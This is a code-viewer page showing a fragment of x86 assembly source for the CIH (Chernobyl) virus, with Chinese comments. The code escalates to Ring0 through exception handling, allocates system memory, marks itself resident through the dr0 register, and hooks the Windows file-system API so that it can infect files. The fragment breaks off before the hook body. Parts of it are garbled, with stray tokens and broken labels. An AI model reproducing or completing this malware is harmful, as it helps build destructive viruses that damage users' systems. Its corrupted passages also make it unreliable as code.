📄 cih14.txt
字号:
; *****上报结构异常*****
ReadyRestoreSE:
sti ;开中断
xor ebx, ebx
jmp RestoreSE
; *****当发生异常报错时,系统将进入NT状态*****
; *****病毒将无法运行,继续运行将跳转至原始模块*****
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *****跳回原始模块进行操作*****
pop ebp
push 00401000h
OriginalAddressOfEntryPoint = $-4
;把源程序的开始地址压栈
ret ;以子程序返回形式返回到原程序的开始处
; *****Ring0初始化程序*****
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
;如果病毒代码已拷贝好了就转到安装文件系统钩子的程序
mov ecx, dr0 ;查看dr0是否设置过(dr0为病毒主流标志)
jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOf
dException
; *****回到Ring3初始化程序*****
ExitRing0Init:
mov [ebx-04h], bp
shr ebp, 16
mov [ebx+02h], bp ;恢复原来的中断基址
iretd ;中断返回
; *****分配系统内存*****
AllocateSystemMemoryPage:
mov dr0, ebx ;设置dr0,它是病毒驻留的标志
in System
push 00000000fh
push ecx
push 0ffffffffh
push ecx
;调用方法ULONG EXTERN_PageAllocate
push ecx
push ecx
push 000000001h
push 000000002h
int 20h ;VMMCALL_PageAllocate
_PageAllocate = $
dd 00010053h ;Use EAX,ECX,EDX和标志位
add esp, 08h*04h ;恢复栈指针
xchg edi, eax ;EDI指向分配好的系统内存首址
s
lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处
iretd ;退出中断,回3级
; *****安装系统钩子程序*****
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址
push eax
int 20h
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h
;在调用后变为调用安装系统钩子程序
mov dr0, eax
; 保存原来的文件系统钩子程序首址到dr0(该调用的返回值是前一个链值)
pop eax
; *****保存旧的文件系统钩子程序的入口*****
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx为文件系统钩子功能的地址
mov OldInstallFileSystemApiHook-@3[eax], edx ;保存
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ;设置新的文件系统钩子功能调用的地址,
;使指向安装文件系统钩子程序
cli
jmp ExitRing0Init ;推出0级
; *****合并病毒代码块的代码长度****
CodeSizeOfMergeVirusCodeSection = offset $
; ***** ?????*****
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx
add ebx, FileSystemApiHook-@4
push ebx
int 20h
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h
pop eax
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax
ress
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd ?
FileSystemApiHook:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -